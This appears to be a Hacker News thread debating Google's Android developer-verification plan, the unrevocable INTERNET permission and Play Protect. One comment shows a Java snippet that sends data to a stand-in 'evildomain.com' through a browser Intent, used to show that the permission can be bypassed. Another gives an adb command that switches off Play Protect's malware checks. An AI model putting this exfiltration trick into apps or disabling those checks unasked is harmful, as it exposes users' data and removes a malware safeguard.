I don't think we can know for sure before the change is actually in place. Going through Play Protect would certainly be the easiest way of implementing this - it would be a simple change from "Play Protect rejects known malware" to "Play Protect rejects any app that isn't properly notarized". This would narrowly address the issue where the existing malware checks are made ineffective by pushing some new variant of the malicious app with a different package id.

It's a big change for the ecosystem nonetheless because it will require all existing developers to register for verification if they want to publish a "legit" app that won't be rejected by any common Android device - and the phrasing of the official announcements accurately reflects this. But this says nothing much as of yet about whether power users will be allowed to proactively disable these checks (just like they can turn off Play Protect today, even though very few people do so in practice).

black3r

> This is such an odd statement. I mean, surely they have to be willing to review the contents of apps at some point (if only to suspend the accounts of developers who are actually producing malware), or else this whole affair does nothing but introduce friction.

Requiring company verification helps against some app pretending to be made by a legitimate institution, e.g. your bank.

Requiring public key registration for package name protects against package modification with malware. Typical issue - I want to download an app that's not on available "in my country" - because I'm on a holiday and want to try some local app, but my "play store country" is tied to my credit card and the developer only made it available in his own country thinking it would be useless for foreigners. I usually try to download it from APKMirror. APKMirror tries to do signature verification. But I may not find it on APKMirror but only on some sketchy site. The sketchy site may not do any signature verification so I can't be sure that I downloaded an original unmodified APK instead of the original APK injected with some malware.

Both of these can be done without actually scanning the package contents. They are essentially just equivalents of EV SSL certificates and DANE/TLSA from TLS world.

ycombinatrix

Play Protect is just spyware to monitor app usage & exploitation. It doesn't prevent or protect anything.

A4ET8a8uTh0_v2

<< we will be confirming who the developer is, not reviewing the content of their app or where it came from

To be honest, it almost makes me wonder if the issue here is not related to security at all. I am not being sarcastic. What I mean is, maybe the issue revolves around some of the issue MS had with github ( sanctions and KYC checks ).

baby_souffle

Can you elaborate a little bit about this hidden internet access control setting?

nottorp

<uses-permission android:name="android.permission.INTERNET" />

It's been there since Android 1.0.

What's missing is a way for the user to deny it.

toast0

Google also used to show you which apps used Internet permission in Play Store. But they removed it, which makes it harder to notice which apps don't use it.

Google mostly doesn't let you deny permissions while running apps that require them; recently there's some permissions that you can pick at runtime. So it's not suprising that they don't let you deny this one, when they don't even show it in the store.

fph

You can deny it on Graphene OS.

9cb14c1ec0

Even device owner (MDM) apps can't revoke that permission.

87636899376

"Hidden" isn't exactly right. It's completely inaccessible, unless you use a custom ROM like LineageOS. But it is a real permission:

https://developer.android.com/develop/connectivity/network-o...

ycombinatrix

Force enabled, more like

kllrnohj

> But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe.

The internet permission has nothing to do with ads? It's a hidden permission because:

1) Internet connection is so ubiquitous as to just be noise if displayed

2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar

tgsovlerkhgsel

It absolutely has to do with ads. While there are various ways to exfiltrate small amounts of data, the non-collaborative ones are rarely silent and most importantly, they won't let the app get responses (e.g. ads) back.

The main thing this permission would be used for would be blocking ads. Also distinguishing shitty apps that are full of ads from those that aren't. If there is a calculator that needs Internet and one that doesn't, which one are you going to use?

kllrnohj

> The main thing this permission would be used for would be blocking ads.

This permission has existed for longer than runtime permissions. You have never been able to revoke it, it was just something you agreed to when you installed the app or you didn't install the app.

It was "removed" in that era because if every app requests the same permission, then nobody cares about it anymore. When every app asks for the same thing, users stop paying attention to it. So no, it had fuck all to do with ads because that was never a thing in the first place. And ad blocking doesn't require this permission, either.

> Also distinguishing shitty apps that are full of ads from those that aren't. If there is a calculator that needs Internet and one that doesn't, which one are you going to use?

You can still use it for this. Apps are required to declare the permission still, it's listed on the Play Store under the "permissions" section. Similarly the OS reports the same thing. Presumably F-droid or whatever else also has a list of permissions before you install, and it'll be listed there.

Although Google's own Calculator app requires Internet permission. Take that for what's it worth.

zrobotics

I mean, I just did a quick look over the installed apps on this phone and ~1/4 of them would work perfectly well without an internet connection, things like a level or GPS speedometer that use the phone sensor or apps for Bluetooth control of devices [like 0] . Why would something like a bubble level app need internet access for anything besides telemetry or ads? I realize I have way more of these types of apps than the average user, but apps like this aren't a super-niche thing that would be on 0.1% of devices.

I just tend to give Google little benefit of the doubt here, considering where their revenue comes from. Same as when they introduced manifest v3, ostensibly for security but just conveniently happening to neuter adblocking. Disabling access to the internet permission for apps aligns with their profit motive.

kllrnohj

There's plenty of actually problematic stuff Google does (like this change in the article), there's no need to make up whack ass conspiracy theories, too.

87636899376

> 1) Internet connection is so ubiquitous as to just be noise if displayed

That doesn't make it any less useful.

> 2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar

I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it. But even if it is flawed, don't you think Google would be a bit more incentivized to make the Internet permission work as expected if people could disable it?

GuB-42

> I've never managed to find even a single PoC bypassing it

Because it is obvious. Just open a web browser.

More details here: https://old.reddit.com/r/androiddev/comments/ci4tdq/were_on_...

UncleMeat

> I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it.

   Uri uri = Uri.parse("https://evildomain.com/upload?data=DATA_GOES_HERE);
   Intent i = new Intent(Intent.ACTION_VIEW, uri);
   startActivity(i);
Happily uses the browser app to do the data send for you. Requiring apps to have all the permissions of the recipient of an Intent before being allowed to send it would be a catastrophic change to the ecosystem.

chenxiaolong

If this is enforced via Play Protect, then the whole mechanism can likely be disabled with:

    adb shell settings put global package_verifier_user_consent -1
This does not require root access and prevents Android from invoking Play Protect in the first place. (This is what AOSP's own test suite does, along with other test suites in eg. Unreal Engine, etc.)

I personally won't be doing this verification for my open-source apps. I have no interest in any kind of business relationship with anyone just to publish an .apk. If that limits those who can install it to people who disable Play Protect globally, then oh well.

mzajc

How long until Google decides to lock it down because "scammers" can "abuse" it?

prism56

What does this break?

chenxiaolong

There shouldn't be any side effects other than rendering Play Protect inert. No other AOSP component relies on this setting.

zozbot234

There could of course be side effects in the future when this restriction is rolled out, as in your device's Play Integrity status could be affected and your banking app/phone wallet might not let you perform app-based payments from that device.

null

[deleted]

cesarb

The reason I chose the Android ecosystem over the Apple ecosystem, once I found out that the Maemo/Meego ecosystem was a dead end and the Openmoko ecosystem was a non-starter, is that the Android ecosystem allowed me to develop and install my own apps on my own devices whenever I wanted to, without arbitrary limitations like having to periodically plug the phone into my computer to renew some authorization. Additionally, there was even for some devices the possibility of rebuilding the whole operating system with any changes I desired.

If I'm not allowed to develop and install my own apps on my own phone, what advantage does Android have over Apple?

marcodiego

How did we let this happen?

Oh, yes... Actually I remember: it was a long slow series of accepting small artificial restrictions. I remember people laughing at me at the time. They said it won't matter, they didn't care, that I was paranoid...

Now... Here we are.

WorldPeas

and don't forget all the people with the dismissive remarks about how it didn't affect them on their Graphene or Calyx phones. We're all downstream of something. The real product of Android for us was always the interoperability with the normal world for the tinkerer.

beeflet

eternal september

mrlatinos

We had no part in this. The blame lies squarely with Google and its employees, who trade away user freedom for profit and career gain. Many who are smart enough to know better but instead compromise their principles. It's just another symptom of late-stage capitalism.

zmmmmm

The worst part is the Orwellian opening sentence they start with in their blog post [0]:

> You shouldn’t have to choose between open and secure

2+2=5

Truly the end of an era. I've spent nearly two decades buying Android phones because of a single checkbox in settings that let me have the freedom I consider essential to any computing device that I own.

In a way, it's liberating, I've missed out on a lot from the Apple ecosystem because of that checkbox. Maybe finally I can let go of it now the choice is out of my hands.

[0] https://android-developers.googleblog.com/2025/08/elevating-...

rpdillon

Very much my exact feelings. I had the first Android phone ever and even wrote my own APKs and enjoyed the freedom of the mobile platform that let me install my own software. But it's been close to 20 years and maybe it's time to check out the other side, as much as I despise Apple's locked down ecosystem.

nicce

Maybe it is time to try Jolla as next phone:

https://jolla.com/